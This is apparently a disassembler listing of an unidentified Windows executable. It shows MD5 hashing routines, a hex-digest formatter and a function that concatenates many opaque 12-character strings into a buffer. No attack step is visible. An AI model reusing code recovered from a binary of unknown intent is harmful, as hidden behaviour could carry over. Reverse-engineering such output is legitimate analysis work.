		shl	eax, 11h
		or	esi, eax
		mov	eax, ebx
		add	esi, ebx
		xor	eax, edx
		and	eax, esi
		xor	eax, edx
		add	eax, [ebp+var_4]
		lea	edi, [edi+eax+49B40821h]
		mov	eax, edi
		shl	eax, 16h
		shr	edi, 0Ah
		or	eax, edi
		mov	edi, esi
		add	eax, esi
		xor	edi, eax
		and	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_3C]
		lea	edx, [edx+edi-9E1DA9Eh]
		mov	edi, edx
		shr	edi, 1Bh
		shl	edx, 5
		or	edi, edx
		mov	edx, eax
		add	edi, eax
		xor	edx, edi
		and	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_28]
		lea	ebx, [ebx+edx-3FBF4CC0h]
		mov	edx, ebx
		shr	edx, 17h
		shl	ebx, 9
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		xor	ebx, edi
		and	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_14]
		lea	esi, [esi+ebx+265E5A51h]
		mov	ebx, esi
		shr	ebx, 12h
		shl	esi, 0Eh
		or	ebx, esi
		mov	esi, edx
		add	ebx, edx
		xor	esi, ebx
		and	esi, edi
		xor	esi, edx
		add	esi, [ebp+var_40]
		lea	eax, [eax+esi-16493856h]
		mov	esi, eax
		shl	esi, 14h
		shr	eax, 0Ch
		or	esi, eax
		mov	eax, ebx
		add	esi, ebx
		xor	eax, esi
		and	eax, edx
		xor	eax, ebx
		add	eax, [ebp+var_2C]
		lea	edi, [edi+eax-29D0EFA3h]
		mov	eax, edi
		shr	eax, 1Bh
		shl	edi, 5
		or	eax, edi
		add	eax, esi
		mov	edi, esi
		xor	edi, eax
		and	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_18]
		lea	edx, [edx+edi+2441453h]
		mov	edi, edx
		shr	edi, 17h
		shl	edx, 9
		or	edi, edx
		add	edi, eax
		mov	edx, edi
		xor	edx, eax
		and	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_4]
		lea	ebx, [ebx+edx-275E197Fh]
		mov	edx, ebx
		shr	edx, 12h
		shl	ebx, 0Eh
		or	edx, ebx
		mov	ebx, edi
		add	edx, edi
		xor	ebx, edx
		and	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_30]
		lea	esi, [esi+ebx-182C0438h]
		mov	ebx, esi
		shl	ebx, 14h
		shr	esi, 0Ch
		or	ebx, esi
		mov	esi, edx
		add	ebx, edx
		xor	esi, ebx
		and	esi, edi
		xor	esi, edx
		add	esi, [ebp+var_1C]
		lea	eax, [eax+esi+21E1CDE6h]
		mov	esi, eax
		shr	esi, 1Bh
		shl	eax, 5
		or	esi, eax
		mov	eax, ebx
		add	esi, ebx
		xor	eax, esi
		and	eax, edx
		xor	eax, ebx
		add	eax, [ebp+var_8]
		lea	edi, [edi+eax-3CC8F82Ah]
		mov	eax, edi
		shr	eax, 17h
		shl	edi, 9
		or	eax, edi
		add	eax, esi
		mov	edi, eax
		xor	edi, esi
		and	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-0B2AF279h]
		mov	edi, edx
		shr	edi, 12h
		shl	edx, 0Eh
		or	edi, edx
		mov	edx, eax
		add	edi, eax
		xor	edx, edi
		and	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_20]
		lea	ebx, [ebx+edx+455A14EDh]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, edi
		add	edx, edi
		xor	ebx, edx
		and	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_C]
		lea	esi, [esi+ebx-561C16FBh]
		mov	ebx, esi
		shr	ebx, 1Bh
		shl	esi, 5
		or	ebx, esi
		mov	esi, edx
		add	ebx, edx
		xor	esi, ebx
		and	esi, edi
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	eax, [eax+esi-3105C08h]
		mov	esi, eax
		shr	esi, 17h
		shl	eax, 9
		or	esi, eax
		add	esi, ebx
		mov	eax, esi
		mov	[ebp+arg_0], esi
		xor	eax, ebx
		and	eax, edx
		xor	eax, ebx
		add	eax, [ebp+var_24]
		lea	eax, [edi+eax+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		add	edi, esi
		xor	[ebp+arg_0], edi
		mov	eax, [ebp+arg_0]
		and	eax, ebx
		xor	eax, esi
		add	eax, [ebp+var_10]
		lea	edx, [edx+eax-72D5B376h]
		mov	eax, edx
		shl	eax, 14h
		shr	edx, 0Ch
		or	eax, edx
		mov	edx, [ebp+arg_0]
		add	eax, edi
		xor	edx, eax
		add	edx, [ebp+var_2C]
		lea	ebx, [ebx+edx-5C6BEh]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		add	edx, eax
		xor	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_20]
		lea	esi, [esi+ebx-788E097Fh]
		mov	ebx, esi
		shr	ebx, 15h
		shl	esi, 0Bh
		or	ebx, esi
		add	ebx, edx
		mov	esi, ebx
		mov	[ebp+arg_0], ebx
		xor	esi, eax
		xor	esi, edx
		add	esi, [ebp+var_14]
		lea	edi, [edi+esi+6D9D6122h]
		mov	esi, edi
		shr	esi, 10h
		shl	edi, 10h
		or	esi, edi
		add	esi, ebx
		xor	[ebp+arg_0], esi
		mov	edi, [ebp+arg_0]
		xor	edi, edx
		add	edi, [ebp+var_8]
		lea	edi, [eax+edi-21AC7F4h]
		mov	eax, edi
		shl	eax, 17h
		shr	edi, 9
		or	eax, edi
		add	eax, esi
		mov	edi, [ebp+arg_0]
		xor	edi, eax
		add	edi, [ebp+var_3C]
		lea	edi, [edx+edi-5B4115BCh]
		mov	edx, edi
		shr	edx, 1Ch
		shl	edi, 4
		or	edx, edi
		mov	edi, esi
		add	edx, eax
		xor	edi, eax
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi+4BDECFA9h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], edi
		xor	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_24]
		lea	esi, [esi+ebx-944B4A0h]
		mov	ebx, esi
		shr	ebx, 10h
		shl	esi, 10h
		or	ebx, esi
		add	ebx, edi
		xor	[ebp+arg_0], ebx
		mov	esi, [ebp+arg_0]
		xor	esi, edx
		add	esi, [ebp+var_18]
		lea	esi, [eax+esi-41404390h]
		mov	eax, esi
		shl	eax, 17h
		shr	esi, 9
		or	eax, esi
		mov	esi, [ebp+arg_0]
		add	eax, ebx
		xor	esi, eax
		add	esi, [ebp+var_C]
		lea	esi, [edx+esi+289B7EC6h]
		mov	edx, esi
		shr	edx, 1Ch
		shl	esi, 4
		or	edx, esi
		mov	esi, ebx
		add	edx, eax
		xor	esi, eax
		xor	esi, edx
		add	esi, [ebp+var_40]
		lea	edi, [edi+esi-155ED806h]
		mov	esi, edi
		shr	esi, 15h
		shl	edi, 0Bh
		or	esi, edi
		add	esi, edx
		mov	edi, esi
		mov	[ebp+arg_0], esi
		xor	edi, eax
		xor	edi, edx
		add	edi, [ebp+var_34]
		lea	ebx, [ebx+edi-2B10CF7Bh]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, esi
		xor	[ebp+arg_0], edi
		mov	ebx, [ebp+arg_0]
		xor	ebx, edx
		add	ebx, [ebp+var_28]
		lea	ebx, [eax+ebx+4881D05h]
		mov	eax, ebx
		shl	eax, 17h
		shr	ebx, 9
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, edi
		xor	ebx, eax
		add	ebx, [ebp+var_1C]
		lea	ebx, [edx+ebx-262B2FC7h]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		xor	ebx, eax
		add	edx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_10]
		lea	ebx, [esi+ebx-1924661Bh]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		xor	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_4]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, esi
		add	edi, esi
		xor	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_38]
		lea	eax, [eax+ebx-3B53A99Bh]
		mov	ebx, eax
		shl	ebx, 17h
		shr	eax, 9
		or	ebx, eax
		mov	eax, esi
		add	ebx, edi
		not	eax
		or	eax, ebx
		xor	eax, edi
		add	eax, [ebp+var_40]
		lea	edx, [edx+eax-0BD6DDBCh]
		mov	eax, edx
		shr	eax, 1Ah
		shl	edx, 6
		or	eax, edx
		mov	edx, edi
		add	eax, ebx
		not	edx
		or	edx, eax
		xor	edx, ebx
		add	edx, [ebp+var_24]
		lea	esi, [esi+edx+432AFF97h]
		mov	edx, esi
		shr	edx, 16h
		shl	esi, 0Ah
		or	edx, esi
		mov	esi, ebx
		add	edx, eax
		not	esi
		or	esi, edx
		xor	esi, eax
		add	esi, [ebp+var_8]
		lea	edi, [edi+esi-546BDC59h]
		mov	esi, edi
		shr	esi, 11h
		shl	edi, 0Fh
		or	esi, edi
		mov	edi, eax
		add	esi, edx
		not	edi
		or	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_10]
		lea	ebx, [eax+ebx+655B59C3h]
		mov	eax, ebx
		shl	ebx, 6
		shr	eax, 1Ah
		or	eax, ebx
		mov	ebx, esi
		not	ebx
		add	eax, edi
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_34]
		lea	ebx, [edx+ebx-70F3336Eh]
		mov	edx, ebx
		shl	ebx, 0Ah
		shr	edx, 16h
		or	edx, ebx
		mov	ebx, edi
		not	ebx
		add	edx, eax
		or	ebx, edx
		xor	ebx, eax
		add	ebx, [ebp+var_18]
		lea	ebx, [esi+ebx-100B83h]
		mov	esi, ebx
		shl	ebx, 0Fh
		shr	esi, 11h
		or	esi, ebx
		mov	ebx, eax
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_3C]
		lea	ebx, [edi+ebx-7A7BA22Fh]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_20]
		lea	ebx, [eax+ebx+6FA87E4Fh]
		mov	eax, ebx
		shr	eax, 1Ah
		shl	ebx, 6
		or	eax, ebx
		mov	ebx, esi
		add	eax, edi
		not	ebx
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_4]
		lea	ebx, [edx+ebx-1D31920h]
		mov	edx, ebx
		shr	edx, 16h
		shl	ebx, 0Ah
		or	edx, ebx
		mov	ebx, edi
		add	edx, eax
		not	ebx
		or	ebx, edx
		xor	ebx, eax
		add	ebx, [ebp+var_28]
		lea	ebx, [esi+ebx-5CFEBCECh]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, eax
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_C]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_30]
		lea	ebx, [eax+ebx-8AC817Eh]
		mov	eax, ebx
		shr	eax, 1Ah
		shl	ebx, 6
		or	eax, ebx
		mov	ebx, esi
		add	eax, edi
		not	ebx
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_14]
		lea	edx, [edx+ebx-42C50DCBh]
		mov	ebx, edx
		shr	ebx, 16h
		shl	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, eax
		not	edx
		or	edx, ebx
		xor	edx, eax
		add	edx, [ebp+var_38]
		lea	esi, [esi+edx+2AD7D2BBh]
		mov	edx, esi
		shr	edx, 11h
		shl	esi, 0Fh
		or	edx, esi
		mov	esi, eax
		add	edx, ebx
		not	esi
		or	esi, edx
		xor	esi, ebx
		add	esi, [ebp+var_1C]
		lea	edi, [edi+esi-14792C6Fh]
		mov	esi, [ecx+8]
		add	esi, eax
		mov	eax, edi
		shl	eax, 15h
		shr	edi, 0Bh
		or	eax, edi
		mov	[ecx+8], esi
		add	eax, [ecx+0Ch]
		pop	edi
		pop	esi
		add	eax, edx
		mov	[ecx+0Ch], eax
		mov	eax, [ecx+10h]
		add	eax, edx
		mov	[ecx+10h], eax
		mov	eax, [ecx+14h]
		add	eax, ebx
		pop	ebx


loc_415353:				; DATA XREF: .text:off_43D40Co
		mov	[ecx+14h], eax
		leave
		retn	4
sub_4149CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41535A	proc near		; CODE XREF: sub_4153ED+66p
					; sub_4153ED+73p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_4]
		push	edi
		test	ecx, ecx
		jz	short loc_4153E7
		mov	eax, [esi]
		push	ebx
		mov	edi, eax
		push	40h
		and	edi, 3Fh
		pop	ebx
		add	eax, ecx
		sub	ebx, edi
		cmp	eax, ecx
		mov	[esi], eax
		jnb	short loc_415380
		inc	dword ptr [esi+4]


loc_415380:				; CODE XREF: sub_41535A+21j
		test	edi, edi
		jz	short loc_4153AF
		cmp	ecx, ebx
		jb	short loc_4153AF
		push	ebx
		lea	eax, [edi+esi+18h]
		push	[ebp+arg_0]
		push	eax
		call	sub_429420
		add	esp, 0Ch
		lea	eax, [esi+18h]
		mov	ecx, esi
		push	eax
		call	sub_4149CD
		sub	[ebp+arg_4], ebx
		add	[ebp+arg_0], ebx
		mov	ecx, [ebp+arg_4]
		xor	edi, edi


loc_4153AF:				; CODE XREF: sub_41535A+28j
					; sub_41535A+2Cj
		cmp	ecx, 40h
		jb	short loc_4153D1
		mov	ebx, ecx
		shr	ebx, 6


loc_4153B9:				; CODE XREF: sub_41535A+72j
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_4149CD
		sub	[ebp+arg_4], 40h
		add	[ebp+arg_0], 40h
		dec	ebx
		jnz	short loc_4153B9
		mov	ecx, [ebp+arg_4]


loc_4153D1:				; CODE XREF: sub_41535A+58j
		test	ecx, ecx
		pop	ebx
		jz	short loc_4153E7
		push	ecx
		lea	eax, [edi+esi+18h]
		push	[ebp+arg_0]
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_4153E7:				; CODE XREF: sub_41535A+Cj
					; sub_41535A+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_41535A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153ED	proc near		; CODE XREF: sub_4154D9+24p

var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		push	38h
		mov	edi, [esi]
		mov	eax, [esi+4]
		mov	ecx, edi
		shl	eax, 3
		shr	ecx, 1Dh
		or	eax, ecx
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		mov	[ebp+var_8], cl
		shr	edx, 8
		mov	[ebp+var_7], dl
		mov	edx, ecx
		shr	ecx, 18h
		mov	[ebp+var_5], cl
		mov	ecx, eax
		shr	ecx, 8
		mov	[ebp+var_3], cl
		mov	[ebp+var_4], al
		mov	ecx, eax
		and	edi, 3Fh
		shr	eax, 18h
		mov	[ebp+var_1], al
		pop	eax
		shr	edx, 10h
		shr	ecx, 10h
		cmp	edi, eax
		mov	[ebp+var_6], dl
		mov	[ebp+var_2], cl
		jb	short loc_415449
		push	78h
		pop	eax


loc_415449:				; CODE XREF: sub_4153ED+57j
		sub	eax, edi
		mov	ecx, esi
		push	eax
		push	offset dword_442B68
		call	sub_41535A
		lea	eax, [ebp+var_8]
		push	8
		push	eax
		mov	ecx, esi
		call	sub_41535A
		mov	eax, [ebp+arg_0]
		mov	cl, [esi+8]
		pop	edi
		mov	[eax], cl
		mov	ecx, [esi+8]
		shr	ecx, 8
		mov	[eax+1], cl
		mov	cl, [esi+0Ah]
		mov	[eax+2], cl
		mov	cl, [esi+0Bh]
		mov	[eax+3], cl
		mov	cl, [esi+0Ch]
		mov	[eax+4], cl
		mov	ecx, [esi+0Ch]
		shr	ecx, 8
		mov	[eax+5], cl
		mov	cl, [esi+0Eh]
		mov	[eax+6], cl
		mov	cl, [esi+0Fh]
		mov	[eax+7], cl
		mov	cl, [esi+10h]
		mov	[eax+8], cl
		mov	ecx, [esi+10h]
		shr	ecx, 8
		mov	[eax+9], cl
		mov	cl, [esi+12h]
		mov	[eax+0Ah], cl
		mov	cl, [esi+13h]
		mov	[eax+0Bh], cl
		mov	cl, [esi+14h]
		mov	[eax+0Ch], cl
		mov	ecx, [esi+14h]
		shr	ecx, 8
		mov	[eax+0Dh], cl
		mov	cl, [esi+16h]
		mov	[eax+0Eh], cl
		mov	cl, [esi+17h]
		mov	[eax+0Fh], cl
		pop	esi
		leave
		retn	4
sub_4153ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154D9	proc near		; CODE XREF: sub_4155AA+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_4149A9
		push	[esp+4+arg_0]
		call	sub_4293A0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_41535A
		push	[esp+4+arg_4]
		mov	ecx, esi
		call	sub_4153ED
		pop	esi
		retn	8
sub_4154D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415506	proc near		; CODE XREF: sub_4155AA+46p

arg_0		= dword	ptr  4

		push	esi
		push	1
		push	28h
		call	sub_42B39A
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_0]
		movzx	ecx, byte ptr [eax+10h]
		push	ecx
		movzx	ecx, byte ptr [eax+0Fh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Eh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Dh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ch]
		push	ecx
		movzx	ecx, byte ptr [eax+0Bh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ah]
		push	ecx
		movzx	ecx, byte ptr [eax+9]
		push	ecx
		movzx	ecx, byte ptr [eax+8]
		push	ecx
		movzx	ecx, byte ptr [eax+7]
		push	ecx
		movzx	ecx, byte ptr [eax+6]
		push	ecx
		movzx	ecx, byte ptr [eax+5]
		push	ecx
		movzx	ecx, byte ptr [eax+4]
		push	ecx
		movzx	ecx, byte ptr [eax+3]
		push	ecx
		movzx	ecx, byte ptr [eax+2]
		push	ecx
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax]
		push	ecx
		push	eax
		push	offset a02x02x02x02x02 ; "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02"...
		push	esi
		call	sub_429B03
		add	esp, 54h
		mov	eax, esi
		pop	esi
		retn	4
sub_415506	endp


; =============== S U B	R O U T	I N E =======================================



sub_41557E	proc near		; CODE XREF: sub_41499D+3p
		push	esi
		mov	esi, ecx
		push	40h
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_429760
		push	10h
		lea	eax, [esi+8]
		push	0
		push	eax
		call	sub_429760
		push	8
		push	0
		push	esi
		call	sub_429760
		add	esp, 24h
		pop	esi
		retn
sub_41557E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4155AA	proc near		; CODE XREF: sub_40A9FE+A41p
					; sub_42045F+222p
		mov	eax, offset loc_436312
		call	sub_42B7CC
		push	ecx
		push	esi
		push	edi
		push	58h
		call	sub_42B4D7
		pop	ecx
		mov	ecx, eax
		mov	[ebp-10h], ecx
		xor	esi, esi
		cmp	ecx, esi
		mov	[ebp-4], esi
		jz	short loc_4155D4
		call	sub_41499D
		mov	esi, eax


loc_4155D4:				; CODE XREF: sub_4155AA+21j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	11h
		call	sub_42B4D7
		pop	ecx
		mov	edi, eax
		push	edi
		mov	ecx, esi
		push	dword ptr [ebp+8]
		call	sub_4154D9
		push	edi
		mov	ecx, esi
		call	sub_415506
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4155AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_415603	proc near		; CODE XREF: sub_41CDD4+40p
					; sub_41CE4A+40p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_41563F
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_41563F
		cmp	byte ptr [eax],	0
		jz	short loc_41563F
		cmp	byte ptr [esi],	0
		jz	short loc_41563F
		push	edi
		push	esi
		push	eax
		call	sub_4170D6
		mov	edi, eax
		push	edi
		push	offset aS_3	; "+%s"
		push	esi
		call	dword_437278	; wsprintfA
		push	edi
		call	sub_4290D0
		add	esp, 18h
		pop	edi


loc_41563F:				; CODE XREF: sub_415603+7j
					; sub_415603+Fj ...
		pop	esi
		retn
sub_415603	endp


; =============== S U B	R O U T	I N E =======================================



sub_415641	proc near		; CODE XREF: sub_41567F+Cp
					; sub_41567F+17p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_41567D
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_41567D
		cmp	byte ptr [eax],	0
		jz	short loc_41567D
		cmp	byte ptr [esi],	0
		jz	short loc_41567D
		push	edi
		push	esi
		push	eax
		call	sub_417212
		mov	edi, eax
		push	edi
		push	offset aS_5	; "%s"
		push	esi
		call	dword_437278	; wsprintfA
		push	edi
		call	sub_4290D0
		add	esp, 18h
		pop	edi


loc_41567D:				; CODE XREF: sub_415641+7j
					; sub_415641+Fj ...
		pop	esi
		retn
sub_415641	endp


; =============== S U B	R O U T	I N E =======================================



sub_41567F	proc near		; CODE XREF: sub_418E0F+7Dp
		push	esi
		mov	esi, offset dword_443EB0
		push	offset dword_445B40
		push	esi
		call	sub_415641
		push	offset dword_445B50
		push	esi
		call	sub_415641
		push	offset dword_445B60
		push	esi
		call	sub_415641
		push	offset a7lybp1gunfm0 ; "7LybP1GuNfm0"
		push	esi
		call	sub_415641
		push	offset a391myLxl28_ ; "391mY/LxL28."
		push	esi
		call	sub_415641
		push	offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
		push	esi
		call	sub_415641
		push	offset aYjmlc1btsf10_0 ; "yJmlc1btsF10"
		push	esi
		call	sub_415641
		push	offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
		push	esi
		call	sub_415641
		push	offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
		push	esi
		call	sub_415641
		push	offset aBwIj0rhpgj1 ; "bw/Ij0rhPgj1"
		push	esi
		call	sub_415641
		push	offset aFuv1h_fi8sc ; "FuV1H.fi8SC/"
		push	esi
		call	sub_415641
		push	offset aLcxMHdpwr1 ; "lCX/m/HdpWr1"
		push	esi
		call	sub_415641
		push	offset aVozbg0sssom1 ; "vozbG0sSsoM1"
		push	esi
		call	sub_415641
		push	offset aKc4l5_savs3_ ; "KC4L5.sAVS3."
		push	esi
		call	sub_415641
		push	offset aWk12f0zbpla ; "wK12F0ZBpla/"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aSpxmrGVbi0 ; "spxMr/G/vBI0"
		push	esi
		call	sub_415641
		push	offset a2nru_kpknx ; "/2nRu.KpKNx/"
		push	esi
		call	sub_415641
		push	offset a7lybp1gunfm0_0 ; "7LybP1GuNfm0"
		push	esi
		call	sub_415641
		push	offset a391myLxl28__0 ;	"391mY/LxL28."
		push	esi
		call	sub_415641
		push	offset a5h5br_qpSm1_0 ;	"5H5BR.qp/sm1"
		push	esi
		call	sub_415641
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		push	esi
		call	sub_415641
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	esi
		call	sub_415641
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		push	esi
		call	sub_415641
		push	offset aBwIj0rhpgj1_0 ;	"bw/Ij0rhPgj1"
		push	esi
		call	sub_415641
		push	offset aFuv1h_fi8sc_0 ;	"FuV1H.fi8SC/"
		push	esi
		call	sub_415641
		push	offset aLcxMHdpwr1_0 ; "lCX/m/HdpWr1"
		push	esi
		call	sub_415641
		push	offset aVozbg0sssom1_0 ; "vozbG0sSsoM1"
		push	esi
		call	sub_415641
		push	offset aKc4l5_savs3__0 ; "KC4L5.sAVS3."
		push	esi
		call	sub_415641
		push	offset aDJstMfgyq_ ; "d/Jst/MFgyQ."
		push	esi
		call	sub_415641
		push	offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset a86tb1fspjg0 ; "86tb/1FSpjg0"
		push	esi
		call	sub_415641
		push	offset aPlsymAee6v1 ; "PlsYM/aEe6v1"
		push	esi
		call	sub_415641
		push	offset aDehziSaO0 ; "deHZI/SA//o0"
		push	esi
		call	sub_415641
		push	offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
		push	esi
		call	sub_415641
		push	offset aNfknl0nqigy0 ; "NFKNL0nQigY0"
		push	esi
		call	sub_415641
		push	offset aE0idd0rdw2u ; "e0idD0RDw2U/"
		push	esi
		call	sub_415641
		push	offset aEuior0ay2w7__0 ; "EUIOR0ay2w7."
		push	esi
		call	sub_415641
		push	offset aPdazx1odsoh0 ; "PDazX1oDSOh0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
		push	esi
		call	sub_415641
		push	offset aDj9owUmrbd_ ; "dJ9OW/uMRBD."
		push	esi
		call	sub_415641
		push	offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1"
		push	esi
		call	sub_415641
		push	offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl."
		push	esi
		call	sub_415641
		push	offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0"
		push	esi
		call	sub_415641
		push	offset aWpuwr_6yfru ; "WpuWr.6YFRU/"
		push	esi
		call	sub_415641
		push	offset a4rmbzFcic21 ; "4RmBz/FCic21"
		push	esi
		call	sub_415641
		push	offset aSc_coSwlk_ ; "SC.Co/swLK/."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aLees11vpbnf0 ; "LeEs11vPbnf0"
		push	esi
		call	sub_415641
		push	offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb."
		push	esi
		call	sub_415641
		push	offset aA52n11svyfw0 ; "A52N11SVYFw0"
		push	esi
		call	sub_415641
		push	offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0"
		push	esi
		call	sub_415641
		push	offset aR7wrsQhek_0 ; "r7WRs/qHek.0"
		push	esi
		call	sub_415641
		push	offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0"
		push	esi
		call	sub_415641
		push	offset aDqjso_47pdb ; "dQJSO.47pdb/"
		push	esi
		call	sub_415641
		push	offset aK9vUKkutm ; "K9V/U/KkuTM/"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset a7yfnz0pw11s1 ; "7yfnz0PW11s1"
		push	esi
		call	sub_415641
		push	offset aNq_as1z1sit ; "nQ.As1Z1SIt/"
		push	esi
		call	sub_415641
		push	offset aUn3hk0sn58o_0 ;	"uN3hk0sn58o/"
		push	esi
		call	sub_415641
		push	offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aIegud0v_5_ ; "iEguD0V/.5/."
		push	esi
		call	sub_415641
		push	offset aFc9kk1jx11g_ ; "fc9Kk1jX11G."
		push	esi
		call	sub_415641
		push	offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/"
		push	esi
		call	sub_415641
		push	offset aEwqxaOc1t_ ; "EWqxA//oC1T."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aJiatz0xsump1 ; "JIAtz0xSuMp1"
		push	esi
		call	sub_415641
		push	offset aVi0qa1mvfro1 ; "VI0QA1mvfro1"
		push	esi
		call	sub_415641
		push	offset aW3gp6_13acy1 ; "W3GP6.13AcY1"
		push	esi
		call	sub_415641
		push	offset aE8qiq0hukv9 ; "e8qiq0Hukv9/"
		push	esi
		call	sub_415641
		push	offset a18rjk_sa2je ; "18Rjk.sa2JE/"
		push	esi
		call	sub_415641
